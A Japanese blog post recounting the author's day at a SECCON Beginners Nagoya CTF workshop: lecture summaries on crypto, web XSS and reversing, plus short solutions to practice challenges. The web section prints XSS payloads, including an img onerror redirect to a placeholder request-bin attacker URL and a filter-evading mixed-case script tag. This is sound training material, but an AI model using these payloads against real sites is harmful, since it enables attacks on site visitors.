task4233のめも

書きたいことをつらつらと

SECCON Beginners 名古屋 参加記

はじめに

この度、SECCON Beginners 名古屋に参加してきた。学びが多かった上に楽しかったので参加記を書こうと思う。

きっかけ

Twitter
色々あって東京大会には出られず名古屋大会に参加することに。

前日までにしたこと

やったことは以下の2つ。

  1. Kali LinuxのGraphical install
    Arch Linuxと比べたら恐ろしく簡単だった。
    こちらの記事に従ってインストールすると簡単だった。
    https://freepc.jp/kali-linux

  2. 配布資料の内容確認
    事前に配布されていた資料を確認した。
    非常に分かりやすく、理解の助けになった。

当日(会場入り前)

名古屋市内を散策。イチョウが綺麗だった。
名古屋城にも行ったが、入れなかった。

当日(イベント)

CTFについての講話[れっくすさん]

  • CTFにはジャンルがある。
    • Web
    • Crypto
    • Reversing
    • Pwnable
    • Programming
  • 全強はあまりおらず、いくつかの分野でのエキスパートになる人が多い。
  • 「勉強」するのではなく「楽しむ」ことが成長への近道。

Crypto[れっくすさん]

暗号を解読してFlagを獲得する分野。

数学要素が多めだと感じた。

以下、講義概要。

  • What's 'Crypto'?
  • 暗号に関する基礎知識
  • RSA暗号方式の仕組み
    • 暗号化・復号の演算について
    • CTFで用いられる脆弱なRSAの紹介
  • 暗号全般の話
    • 乱数生成に対する攻撃
    • 暗号問題を解くときに使用するツールの紹介

Web[ゆったんさん]

個人的に最も興味のあった分野。

攻撃が視覚化されるので楽しいね。

以下、講義概要。

  • What's 'Web'?
  • XSSについて
    • Webサイトへのアクセスの流れ
    • XSSの仕組みと事例
  • XSSの実践
    • 反射型XSS(一時的なXSS)
    • JavaScriptのDOM操作を用いた攻撃
    • 攻撃者サーバについて(requestsbin)
    • 攻撃対象にXSSを踏ませる攻撃

Rev[みむらさん]

アセンブリ言語は強い。

アセンブルしてコードを読むって面白くないですか?面白いですね。

以下、講義概要。

  • バイナリファイルについて
    • OSごとのファイル形式判断
    • xxdコマンド及びfileコマンドの紹介
  • アセンブリ言語(x86)でのプログラミング
    • Intel記法のアセンブリプログラムの読み方
    • 加算/減算/乗算/除算の命令紹介
    • 値の比較命令とジャンプ命令の紹介
    • ループの実装(比較命令とジャンプ命令の混合)
    • スタックと関数の仕組み
  • CTFに向けて

CTFオリエンテーション

[Misc]

Welcome

やるだけ。

Calc

やるだけ。

私は脳死で暗算をしましたが、もっと利口な方法があると思う。

[Web]

Do alert

講義資料に沿って書いてあることをやるだけ。

ASカンパニー

講義資料に沿って書いてあることををやるだけ。

AOカンパニー

解法が3つある。

  • 解法1(私の解法) 講義資料で紹介されていた、XSS-Challengeで紹介されていた方法を用いた。
<img src=“hoge” onerror=“document.location = “<request bin url>”;”

を書き込んであげると、 onerrror 以下のスクリプトが実行される。

  • 解法2(他の方の解法) onloadスクリプトを実行させる手法。
<body onload=alert();/>

で実行できるので、 残りは講義資料に沿って解ける。

  • 解法3(スタッフの方の解法) 大文字と小文字を混在させて実行させる手法。
<ScRiPt>alert();</ScRiPt>

で実行できるので、残りは講義資料に沿って解ける。

解法が複数あるのは好き。

Snippets

解けなかった問題。

以下、スタッフの方の解法概要。 1. とりあえずアカウントを作成してログインする。 2. ログイン後、add snippetsで実行したいスクリプトを書いておく。 3. 2.で書いたスクリプトを実行するスクリプトを書く。

登録したsnippetはraw textが見れるので、raw textの部分なら実行できるのでは?と考えることが突破のコツらしい。

難しかった。

[Crypto]

Go Fast

講義資料に書かれているPythonコードを実行するだけ。

Factoring

素因数分解をやるだけ。
 反則かもしれないが、こちらのサイトを利用した。

ja.numberempire.com

このサイトで因数分解した後に、足し算をした。

SimpleRSA

講義中のRSA暗号の解法をやるだけ。

Find primes

分からなかった。 解法を聞き出せなかったので、他の方の記事で紹介されることを待つしかなさそう……

[Rev]

Find it.

catコマンドで覗くと、ctf4b{}という感じのflagがある。

Read it.

分からなかった。 解放を聞き出せなかったので、他の方の記事で紹介されることを待つしかなさそう……

Disassemble it.

解けなかった。 IDAで起こしてループ回数0x7FF回
SECCONを入力することはわかったが、そのやり方が分からなかった。

以下のようなやり方があったようだ。

  1. echo のループ
    echoをfor文で実行してやると良いらしい。

  2. シェルスクリプトで解く
    シェルスクリプトでechoをループさせながら実行すると良いらしい。

  3. Excelで解く
    バイナリを解析して、式の意味を理解してExcelに起こすらしい。

仕組みさえ分かればExcelでも解けるという例であり、面白い問題だった。

結果

Misc(2/2), Web(3/4), Crypto(3/4), Rev(1/3)をACして、 1300点で1位だった。

(まさか1位になれると思っておらず、スクショは撮り忘れた)

講義資料に載っていた部分を参考にしただけなので、本当にラッキーとしか言いようがない。

Disassemble it.のように、バイナリをしっかりと読んで意味を理解するような問題が解けたら良かった。IDAツール等を駆使して、擬似コードに起こせるようになりたいね。

交流会

参加者の方々とスタッフの方々とお話ができた。

話していて感じたのが、以下の2つ。

  1. つよいひとは口を揃えて「全く分からん」や「詳しくない」と言うこと
  2. 本人の好きな分野を話している時は、本当に楽しそうに話してくださること

「好きこそ物の上手なれ」とはよく言ったもので、本当にその通りだと感じた。

感想

つらつらと書いてきたが、この記事を一言でまとめると
「CTFは楽しい」
ということだ。

解けないと辛いが、解法を発見したり理解した時の楽しさはやはり良い。
競プロもそうだが、勉強としてやるのではなく趣味として長く続けられると良いな。

最後に、SECCON Beginnersの運営スタッフの方々および会場設営に従事してくださった方々に感謝申し上げます。 本当にありがとうございました。お疲れ様でした。